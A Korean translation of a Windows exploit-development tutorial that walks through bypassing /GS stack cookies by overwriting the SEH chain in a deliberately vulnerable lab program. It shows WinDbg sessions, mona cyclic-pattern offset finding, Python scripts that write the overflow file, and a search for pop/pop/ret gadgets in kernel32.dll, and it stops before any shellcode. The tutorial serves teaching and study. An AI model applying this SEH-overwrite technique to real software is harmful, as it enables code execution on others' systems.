티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 08. Exploitme2 (스택 쿠키 & SEH)


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.19



이 전 글을 보지 않으셧다면 먼저 이전 글을 보시고 오시기 바랍니다여기서는 이전과 동일한 코드를 사용하겠습니다.


1
2
3
4
5
6
7
8
9
#include <cstdio>
 
int main() {
    char name[32];
    printf("Enter your name and press ENTER\n");
    scanf("%s", name);
    printf("Hi, %s!\n", name);
    return 0;
}
cs


이번에는 설정을 좀 바꿔보도록 하겠습니다.

 

VS 2013에서 Project -> properties 에서 DEP를 비활성화 시키고 릴리즈 설정을 다음과 같이 변경합니다.

  • Configuration Properties
    • Linker
      • Advanced
        • Data Execution Prevention (DEP): No (/NXCOMPAT:NO)

다음 설정이 되어 있는지 확인합니다.

  • Configuration Properties
    • C/C++
      • Code Generation
        • Security Check: Enable Security Check (/GS)

exploitme1.exe에서 사용했던 C:\name.dat 파일이 있다면 exploitme2.exe에서 사용해보시기 바랍니다. 충돌은 발생했지만 계산기는 뜨지 않습니다. 왜 그럴까요?

 

아래는 해당 어셈블리 코드 입니다.


int main() {

00101000 55                   push        ebp  

00101001 8B EC                mov         ebp,esp  

00101003 83 EC 24             sub         esp,24h  

00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  

0010100B 33 C5                xor         eax,ebp  

0010100D 89 45 FC             mov         dword ptr [ebp-4],eax  

    char name[32];

    printf("Enter your name and press ENTER\n");

00101010 68 00 21 10 00       push        102100h  

00101015 FF 15 90 20 10 00    call        dword ptr ds:[102090h]  

    scanf("%s", name);

0010101B 8D 45 DC             lea         eax,[name]  

0010101E 50                   push        eax  

0010101F 68 24 21 10 00       push        102124h  

00101024 FF 15 94 20 10 00    call        dword ptr ds:[102094h]  

    printf("Hi, %s!\n", name);

0010102A 8D 45 DC             lea         eax,[name]  

0010102D 50                   push        eax  

0010102E 68 28 21 10 00       push        102128h  

00101033 FF 15 90 20 10 00    call        dword ptr ds:[102090h]  

    return 0;

}

00101039 8B 4D FC             mov         ecx,dword ptr [ebp-4]  

0010103C 83 C4 14             add         esp,14h  

0010103F 33 CD                xor         ecx,ebp  

00101041 33 C0                xor         eax,eax  

00101043 E8 04 00 00 00       call        __security_check_cookie (010104Ch)  

00101048 8B E5                mov         esp,ebp  

0010104A 5D                   pop         ebp  

0010104B C3                   ret


아래는 기존의 어셈블리 코드 입니다.


int main() {

01391000 55                   push        ebp  

01391001 8B EC                mov         ebp,esp  

01391003 83 EC 20             sub         esp,20h  

    char name[32];

    printf("Enter your name and press ENTER\n");

01391006 68 00 21 39 01       push        1392100h  

0139100B FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  

    scanf("%s", name);

01391011 8D 45 E0             lea         eax,[name]  

01391014 50                   push        eax  

01391015 68 24 21 39 01       push        1392124h  

0139101A FF 15 94 20 39 01    call        dword ptr ds:[1392094h]  

    printf("Hi, %s!\n", name);

01391020 8D 45 E0             lea         eax,[name]  

01391023 50                   push        eax  

01391024 68 28 21 39 01       push        1392128h  

01391029 FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  

0139102F 83 C4 14             add         esp,14h  

    return 0;

01391032 33 C0                xor         eax,eax  

}

01391034 8B E5                mov         esp,ebp  

01391036 5D                   pop         ebp  

01391037 C3                   ret


특별하지 않은 부분은 빼면 기존의 코드는 다음과 같습니다.


int main() {

01391000 55                   push        ebp  

01391001 8B EC                mov         ebp,esp  

01391003 83 EC 20             sub         esp,20h  

.

.

.

01391034 8B E5                mov         esp,ebp  

01391036 5D                   pop         ebp  

01391037 C3                   ret


새로운 코드는 다음과 같습니다.


int main() {

00101000 55                   push        ebp  

00101001 8B EC                mov         ebp,esp  

00101003 83 EC 24             sub         esp,24h  

00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  

0010100B 33 C5                xor         eax,ebp  

0010100D 89 45 FC             mov         dword ptr [ebp-4],eax  

.

.

.

00101039 8B 4D FC             mov         ecx,dword ptr [ebp-4]  

0010103C 83 C4 14             add         esp,14h  

0010103F 33 CD                xor         ecx,ebp  

00101041 33 C0                xor         eax,eax  

00101043 E8 04 00 00 00       call        __security_check_cookie (010104Ch)  

00101048 8B E5                mov         esp,ebp  

0010104A 5D                   pop         ebp  

0010104B C3                   ret


새로운 코드의 프롤로그 이후에 스택은 다음과 같이 되어야 합니다.



  esp --> name[0..3]

          name[4..7]

          .

          .

          .

          name[28..31]

ebp-4 --> cookie

  ebp --> saved ebp

          ret eip

          .

          .

          .


새로운 코드의 아이디어는 프롤로그에서 쿠키를 설정하고 에필로그에서 쿠키가 변경되었는지 확인합니다. 만약 쿠키가 변경되었다면 에필로그는 ret 명령이 실행되기 전에 충돌을 발생시킵니다. 쿠키의 위치를 보면 만약 우리가 name 을 오버플로우 시켰다면 쿠키와 ret eip 역시 덮어 써지게 됩니다. 에필로그에서는 우리가 실행 흐름을 조작하기 전에 프로그램 충돌을 발생시킵니다.

 

프롤로그를 보면 다음과 같습니다.


00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  

0010100B 33 C5                xor         eax,ebp  

0010100D 89 45 FC             mov         dword ptr [ebp-4],eax


먼저 쿠키는 ds:[00103000h] 에서 읽고 [ebp-4] 위치에 저장하기 전에 EBP xor 됩니다. 이 방식은 쿠키가 EBP에 의존적임을 뜻하며 내부 호출들은 각각 다른 쿠키를 갖음을 뜻합니다. 물론 ds:[00103000h]에 있는 쿠키는 랜덤하며 이는 실행시 초기화 때 연산됩니다.

 

이제 뭐가 문젠지 알았습니다. fread() 버전의 코드로 돌아가 봅시다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *= fopen("c:\\name.dat""rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
cs


ret eip 에서 아직 EIP를 조작할 수는 없지만 덮어 쓰기를 이용하여 SEH chain을 수정해봅시다. 운좋게도 chain은 스택에 존재합니다. 만약 SEH 가 가물가물 하시면 이전의 SEH 글을 보시기 바랍니다.

 

WinDbg에서 exploitme2를 열고 main breakpoint를 설정합니다.


bp exploitme2!main


그리고 F5(go)를 이용하여 프로그램을 실행합니다.

 

실행 흐름이 멈추면 스택의 SEH chain을 확인합니다.


0:000> dd esp

0038fb20  011814d9 00000001 00625088 00615710

0038fb30  bd0c3ff1 00000000 00000000 7efde000

0038fb40  00000000 0038fb30 00000001 0038fb98

0038fb50  01181969 bc2ce695 00000000 0038fb68

0038fb60  75dd338a 7efde000 0038fba8 77c09f72

0038fb70  7efde000 77ebad68 00000000 00000000

0038fb80  7efde000 00000000 00000000 00000000

0038fb90  0038fb74 00000000 ffffffff 77c471f5

0:000> !exchain

0038fb4c: exploitme2!_except_handler4+0 (01181969)

  CRT scope  0, filter: exploitme2!__tmainCRTStartup+115 (011814f1)

                func:   exploitme2!__tmainCRTStartup+129 (01181505)

0038fb98: ntdll!WinSqmSetIfMaxDWORD+31 (77c471f5)


SEH 노드들은 8 바이트 길이를 갖으며 다음과 같은 형태를 갖음을 기억해주세요.


<ptr to next SEH node in list>

<ptr to handler>


첫 번째 노드의 주소는 0x38fb4c (esp + 0x2c)이며 이는 아래와 같음을 볼 수 있습니다.


0038fb98         <-- next SEH node

01181969         <-- handler (exploitme2!_except_handler4)


다음과 마지막 SEH 노드는 0x38fb98 (esp + 0x78)이며 이는 아래와 같음을 볼 수 있습니다.


ffffffff         <-- next SEH node (none - this is the last node)

77c471f5         <-- handler (ntdll!WinSqmSetIfMaxDWORD+31)


C:\name.dat 100개의 ‘a’를 넣고 fread() 함수 전까지 F10 (step over)을 합니다. SEH chain 다시 확인해봅시다.


0:000> !exchain

0038fb4c: 61616161

Invalid exception stack at 61616161


보시다시피, SEH chain을 덮어 썻습니다. F5를 통해 프로그램을 시작해봅시다.

 

WinDbg는 다음과 같이 출력할 것 입니다.


STATUS_STACK_BUFFER_OVERRUN encountered

(1610.1618): Break instruction exception - code 80000003 (first chance)

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -

eax=00000000 ebx=01182108 ecx=75e1047c edx=0038f4d1 esi=00000000 edi=6d5ee060

eip=75e1025d esp=0038f718 ebp=0038f794 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246

kernel32!GetProfileStringW+0x12cc1:

75e1025d cc              int     3


이 뜻은 main()의 에필로그에서 쿠키가 변경됫음을 탐지 했고 다른 것을 하기 전에 멈췄음을 의미합니다. 하지만 사실 이 보안 문제는 fread() 이후에 몇몇 경계를 확인하지 못해 발생된 것 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *= fopen("c:\\name.dat""rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';     <-------------------------
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
cs


아래는 경계 체크에 대한 코드 입니다.


    name[bytes] = '\0';

008B107A 83 FE 20             cmp         esi,20h           ; esi = bytes

008B107D 73 30                jae         main+0AFh (08B10AFh)  

008B107F 57                   push        edi  

008B1080 C6 44 35 DC 00       mov         byte ptr name[esi],0  

.

.

.

008B10AF E8 48 01 00 00       call        __report_rangecheckfailure (08B11FCh)


이 경우에는 경계 확인때문에 에필로그로는 절대 도착하지 않습니다만 개념은 동일합니다. 우리는 SEH chain을 덮어 썻지만 어떤 예외도 생성되지 않았습니다. SEH chain이 사용되긴 하는 걸까요. 우리는 경계 체크가 실행되기 전에 예외를 발생 시킬 필요가 있습니다. (또는 main()의 에필로그에 가기 전까지)

 

실험을 해보죠. SEH chain에 예외 핸들러를 명시 했다고 가정합니다. 코드는 다음과 같이 수정합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *= fopen("c:\\name.dat""rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = bytes / 0// '\0';    !!! divide by 0 !!!
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
cs


fread() 함수 바로 이후에 0 으로 나누는 행위를 넣었습니다. 이는 예외를 발생 시키고 SEH chain의 첫 번째 핸들러를 호출하게 됩니다.

 

코드를 컴파일 하고 WinDbg를 다시 연 뒤, F5 (go)를 하면 다음과 같이 됩니다.


(177c.12f4): Integer divide-by-zero - code c0000094 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

*** WARNING: Unable to verify checksum for exploitme2.exe

eax=00000064 ebx=6d5ee060 ecx=00000000 edx=00000000 esi=00000001 edi=00000064

eip=012f107a esp=002cfbd4 ebp=002cfc2c iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

exploitme2!main+0x7a:

012f107a f7f9            idiv    eax,ecx


위 내용을 보면, 프로그램에서 발생되기 전에 WinDbg에서 예외를 잡았음을 볼 수 있습니다. F5(go) 를 다시 하면 프로그램으로 예외를 전달하게 되고 다음과 같이 볼 수 있습니다.


(177c.12f4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000

eip=61616161 esp=002cf638 ebp=002cf658 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

61616161 ??              ???


보시면 EIP 0x61616161로 변경되었음을 볼 수 있습니다. 이 것은 변경된 SEH chain의 핸들러가 호출되었음을 뜻합니다.

 

이제 우리는 경계 확인이 이루어지기 전에 우리만의 예외를 발생 시킬 수 있는 방법을 찾아 봅시다. (또는 main() 함수의 에필로그에서 쿠키를 확인하기 전) 먼저, 예외 부분을 지우고 코드를 조금 변경합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *= fopen("c:\\name.dat""rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    int pos = 0;
    while (pos < bytes) {
        int len = bytes - pos > 200 ? 200 : bytes - pos;
        fread(name + pos, 1, len, f);
        pos += len;
    }
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
cs


여기서는 fread()에 우리가 너무 많은 바이트를 읽으려고 하면 실패할 수도 있기 때문에 200 바이트 블록씩 파일에서 읽어 봅시다. 이 방법을 위해 우리는 긴 파일을 만듭니다.

 

스택은 무한정 늘어나지 않기 때문에 만약 우리가 계속 쓰려고 한다면 접근 위반이 일어나게 되고 예외가 발생될 것 입니다. 파이썬 스크립트로 ‘a’ 1000개를 파일에 씁니다.


1
2
with open('c:\\name.dat''wb') as f:
    f.write('a'*1000)
cs


WinDbg에서 exploitme2.exe를 실행하면 ‘a’ 1000개는 예외를 발생시키기에 부족함을 볼 수 있습니다. 2000개로 해보죠.


1
2
with open('c:\\name.dat''wb') as f:
    f.write('a'*2000)
cs


이것도 부족합니다. 결국 10000개의 ‘a’에서 우리는 다음과 같은 결과를 얻을 수 있습니다.


(17d4.1244): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SysWOW64\MSVCR120.dll -

eax=00816808 ebx=000000c8 ecx=00000030 edx=000000c8 esi=008167d8 edi=003c0000

eip=6d51f20c esp=003bfb68 ebp=003bfb88 iopl=0         nv up ei ng nz na pe cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010287

MSVCR120!wcslen+0x19:

6d51f20c f3a4            rep movs byte ptr es:[edi],byte ptr [esi]


F5(go) 를 하면 우리는 다음을 얻을 수 있습니다.


(17d4.1244): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000

eip=61616161 esp=003bf5cc ebp=003bf5ec iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

61616161 ??              ???


EIP = 0x61616161 이 되는것이 우리가 원했던 것 입니다. 우리는 “a”를 이용하여 SEH node의 핸들러 주소를 덮어 쓴것은 알겠는데 이 “a” 중에서 어떤 4바이트가 EIP를 덮어 쓴 것 일까요? 다른 방식으로 얘기하면 파일의 어떤 offset이 우리가 원하는 위치로 실행 흐름을 변경하기위한 곳 일까요?

 

간단한 방법으로는 “a” 만을 넣는것 보단 특정 패턴을 이용해보도록 합니다. 이 패턴은 4개의 연속적인 바이트로 이루어진 패턴으로 특정 4바이트가 나타나면 해당 offset의 위치를 알 수 있도록 설계 된 패턴 입니다.

 

mona 에서 이 기능을 제공합니다.


0:000> !py mona pattern_create 10000

Hold on...

[+] Command used:

!py mona.py pattern_create 10000

Creating cyclic pattern of 10000 bytes

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)

[+] Preparing output file 'pattern.txt'

    - (Re)setting logfile pattern.txt

Note: don't copy this pattern from the log window, it might be truncated !

It's better to open pattern.txt and copy the pattern from the file


[+] This mona.py action took 0:00:00


파이썬 스크립트를 이용하여 C:\name.dat을 생성된 패턴으로 변경합니다.


1
2
3
with open('c:\\name.dat''wb') as f:
    pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)'
    f.write(pattern)
cs


여기서는 패턴이 너무 길기 때문에 패턴의 뒷 부분은 생략 했습니다.

 

WinDbg에서 exploitme2.exe를 재시작하고 F5를 두번 하면 다음 결과를 볼 수 있습니다.


(11e0.11e8): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=64413963 edx=77c2b4ad esi=00000000 edi=00000000

eip=64413963 esp=0042f310 ebp=0042f330 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

64413963 ??              ???


보시면 EIP 0x64413963으로 되어 있습니다. 이제 패턴의 offset을 구해보도록 하겠습니다. 명심할 것은 Intel CPU little endian 방식이기 때문에 0x64413963“\x63\x39\x41\x64” = “c9Ad” 가 됩니다. 이 정보를 이용하여 mona 에서 offset을 구하면 다음과 같습니다.


0:000> !py mona pattern_offset 64413963

Hold on...

[+] Command used:

!py mona.py pattern_offset 64413963

Looking for c9Ad in pattern of 500000 bytes

 - Pattern c9Ad (0x64413963) found in cyclic pattern at position 88

Looking for c9Ad in pattern of 500000 bytes

Looking for dA9c in pattern of 500000 bytes

 - Pattern dA9c not found in cyclic pattern (uppercase)  

Looking for c9Ad in pattern of 500000 bytes

Looking for dA9c in pattern of 500000 bytes

 - Pattern dA9c not found in cyclic pattern (lowercase)  


[+] This mona.py action took 0:00:00.172000


offset 88이 나왔습니다. 다음 파이썬 스크립트로 확인해보도록 하겠습니다.


1
2
3
with open('c:\\name.dat''wb') as f:
    handler = 'bbbb'
    f.write('a'*88 + handler + 'c'*(10000-88-len(handler)))
cs


WinDbg의 결과는 다음과 같습니다.


(1b0c.1bf4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=62626262 edx=77c2b4ad esi=00000000 edi=00000000

eip=62626262 esp=002af490 ebp=002af4b0 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

62626262 ??              ???


0x62626262 “bbbb” 이기 때문에 우리가 원하는 정확한 값임을 알 수 있습니다.

 

이제 우리는 파일에 우리가 원하는 주소를 넣을 수 있기 때문에 이제 어떤 주소를 사용할지 결정해야 합니다. WinDbg에서 View -> Memory 로 가서 “Virtual:” @esp라고 입력하면 ESP 가 가리키고 있는 스택의 부분을 볼 수 있습니다. 저의 경우에는 ESP = 0x2af490 이며 우리가 넣은 “b” @esp+6d4에 있습니다.

 

exploitme2.exe를 다시 실행하면 항상 6d4 임을 볼 수 있습니다. Memory 창의 “Virtual:” @esp+6d4를 넣으면 우리가 넣은 4개의 “b”가 여전히 있음을 볼 수 있습니다. ESP 주소는 계속 변하긴 하지만 ESP offset (6d4)는 변하지 않음을 확인 할 수 있습니다.

 

이제 우리는 쉘 코드를 4개의 “b” 이후에 넣고 “bbbb” 를 다음과 같은 코드의 주소로 변경합니다.


ADD   ESP, 6d8

JMP   ESP


우리는 6d8 (“b” 4개를 생략하기 위해 +4를 했음)을 사용하여 “c”에 위치될 쉘코드로 점프합니다. 물론 ADD ESP, 6e0 나 이와 비슷한 것들도 가능합니다. 하지만 이런 코드를 찾는것이 쉬운게 아니기 때문에 좀더 쉬운방법을 소개 합니다.

 

exploitme2.exe 를 다시 시작하고 F5 를 두번 눌러 스택을 확인합니다.


0:000> dd esp

002df45c  77c2b499 002df544 002dfb2c 002df594

002df46c  002df518 002dfa84 77c2b4ad 002dfb2c

002df47c  002df52c 77c2b46b 002df544 002dfb2c

002df48c  002df594 002df518 62626262 00000000

002df49c  002df544 002dfb2c 77c2b40e 002df544

002df4ac  002dfb2c 002df594 002df518 62626262

002df4bc  002e1000 002df544 00636948 00000000

002df4cc  00000000 00000000 00000000 00000000


esp + 8 dword 를 보면 해당 주소는 다음과 같음을 볼 수 있습니다.


0:000> db poi(esp+8)

002dfb2c  61 61 61 61 62 62 62 62-63 63 63 63 63 63 63 63  aaaabbbbcccccccc

002dfb3c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc

002dfb4c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc

002dfb5c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc

002dfb6c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc

002dfb7c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc

002dfb8c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc

002dfb9c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc


이는 0x2dfb2c 가 우리의 “bbbb” 이전에 “aaaa” 를 가리키고 있는 것 같습니다. “bbbb” SEH node handler 필드에 덮어 써야 하고 0x2dfb2c는 다음 SEH 노드를 가리키고 있어야 합니다. 한 번 확인해보죠.


0:000> !exchain

002df470: ntdll!ExecuteHandler2+3a (77c2b4ad)

002dfa84: MSVCR120!_ValidateRead+439 (6d52a0d5)

002dfb2c: 62626262

Invalid exception stack at 61616161


이것을 보아 우리는 3번째 SEH 노드를 덮어 쓴것 같습니다.


0:000> dt _EXCEPTION_REGISTRATION_RECORD 002dfb2c

ntdll!_EXCEPTION_REGISTRATION_RECORD

   +0x000 Next             : 0x61616161 _EXCEPTION_REGISTRATION_RECORD

   +0x004 Handler          : 0x62626262     _EXCEPTION_DISPOSITION  +62626262


첫 번째로, 프로세스가 다시 실행 될 때마다 항상 esp + 8 이 해당 주소를 갖는지 확인해야 합니다. 만약 이것이 검증됫다면 이제 다음과 같은 코드가 필요합니다.


POP   reg32

POP   reg32

RET


아이디어는 “bbbb”에 다음과 같은 코드의 주소를 넣는 것 입니다. 코드가 실행되면 코드는 ESP 8 만큼 증가 시키고 (2개의 POP 때문) ESP가 가리키고 있는 위치로 점프하게 됩니다. 이 것이 정확히 우리가 원하는 행위 입니다. 저는 “b” 전에 있는 “a” 로 점프 할 것 입니다. “b” 를 건너뛰구 위해 우리는 “b” 전에 다음과 같은 jmp가 필요합니다.

 

JMP short opcode는 다음과 같습니다.


EB XX


XX는 정수형 바이트 입니다. 편의를 위해 label을 추가 합니다.


here:

  EB XX


이 코드는 here + 2 + XX 로 점프하는 opcode 입니다. 예를들어,


EB 00

there:


이 코드는 jmp 자신의 바로 다음으로 (there) 가게 됩니다.



90 opcode NOP (no operation)이며 사실 이 2바이트는 건너 뛰기 때문에 아무 값이나 넣어도 됩니다.

 

이제 kernel32.dll 에서 pop/pop/ret 의 주소를 찾아 봅시다.


0:000> !py mona findwild -s "pop r32#pop r32#ret" -m kernel32.dll

Hold on...

[+] Command used:

!py mona.py findwild -s pop r32#pop r32#ret -m kernel32.dll


---------- Mona command started on 2015-03-18 20:33:46 (v2.0, rev 554) ----------

[+] Processing arguments and criteria

    - Pointer access level : X

    - Only querying modules kernel32.dll

[+] Type of search: str

[+] Searching for matches up to 8 instructions deep

[+] Generating module info table, hang on...

    - Processing modules

    - Done. Let's rock 'n roll.

[+] Started search (8 start patterns)

[+] Searching startpattern between 0x75dc0000 and 0x75ed0000

[+] Preparing output file 'findwild.txt'

    - (Re)setting logfile findwild.txt

[+] Writing results to findwild.txt

    - Number of pointers of type 'pop edi # pop ebp # retn 24h' : 1

    - Number of pointers of type 'pop esi # pop ebx # retn' : 2

    - Number of pointers of type 'pop ebx # pop ebp # retn 14h' : 4

    - Number of pointers of type 'pop ebx # pop ebp # retn 10h' : 14

    - Number of pointers of type 'pop edi # pop esi # retn' : 2

    - Number of pointers of type 'pop edi # pop ebp # retn 8' : 13

    - Number of pointers of type 'pop eax # pop ebp # retn 1ch' : 2

    - Number of pointers of type 'pop ecx # pop ebx # retn 4' : 1

    - Number of pointers of type 'pop esi # pop ebp # retn' : 1

    - Number of pointers of type 'pop ebx # pop ebp # retn 1ch' : 4

    - Number of pointers of type 'pop eax # pop ebp # retn 0ch' : 8

    - Number of pointers of type 'pop edi # pop ebp # retn 1ch' : 2

    - Number of pointers of type 'pop eax # pop ebp # retn 20h' : 2

    - Number of pointers of type 'pop esi # pop ebp # retn 0ch' : 49

    - Number of pointers of type 'pop eax # pop ebp # retn' : 2

    - Number of pointers of type 'pop eax # pop ebp # retn 4' : 3

    - Number of pointers of type 'pop esi # pop ebp # retn 20h' : 2

    - Number of pointers of type 'pop ebx # pop ebp # retn 0ch' : 27

    - Number of pointers of type 'pop esi # pop ebp # retn 24h' : 1

    - Number of pointers of type 'pop eax # pop ebp # retn 18h' : 3

    - Number of pointers of type 'pop edi # pop ebp # retn 0ch' : 11

    - Number of pointers of type 'pop esi # pop ebp # retn 10h' : 15

    - Number of pointers of type 'pop esi # pop ebp # retn 18h' : 10

    - Number of pointers of type 'pop esi # pop ebp # retn 14h' : 11

    - Number of pointers of type 'pop edi # pop ebp # retn 10h' : 6

    - Number of pointers of type 'pop eax # pop ebp # retn 8' : 5

    - Number of pointers of type 'pop ebx # pop ebp # retn 4' : 11

    - Number of pointers of type 'pop esi # pop ebp # retn 4' : 70

    - Number of pointers of type 'pop esi # pop ebp # retn 8' : 62

    - Number of pointers of type 'pop edx # pop eax # retn' : 1

    - Number of pointers of type 'pop ebx # pop ebp # retn 8' : 26

    - Number of pointers of type 'pop ebx # pop ebp # retn 18h' : 6

    - Number of pointers of type 'pop ebx # pop ebp # retn 20h' : 2

    - Number of pointers of type 'pop eax # pop ebp # retn 10h' : 3

    - Number of pointers of type 'pop eax # pop ebp # retn 14h' : 3

    - Number of pointers of type 'pop ebx # pop ebp # retn' : 4

    - Number of pointers of type 'pop edi # pop ebp # retn 14h' : 2

    - Number of pointers of type 'pop edi # pop ebp # retn 4' : 5

[+] Results :

0x75dd4e18 |   0x75dd4e18 (b+0x00014e18)  : pop edi # pop ebp # retn 24h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75dfd75d |   0x75dfd75d (b+0x0003d75d)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75dfd916 |   0x75dfd916 (b+0x0003d916)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75dd4f7c |   0x75dd4f7c (b+0x00014f7c)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75ddf840 |   0x75ddf840 (b+0x0001f840)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75dfc1ca |   0x75dfc1ca (b+0x0003c1ca)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75e7a327 |   0x75e7a327 (b+0x000ba327)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75de1267 |   0x75de1267 (b+0x00021267)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75defda1 |   0x75defda1 (b+0x0002fda1)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75dfb33c |   0x75dfb33c (b+0x0003b33c)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75dfbf8a |   0x75dfbf8a (b+0x0003bf8a)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

0x75dfda42 |   0x75dfda42 (b+0x0003da42)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)

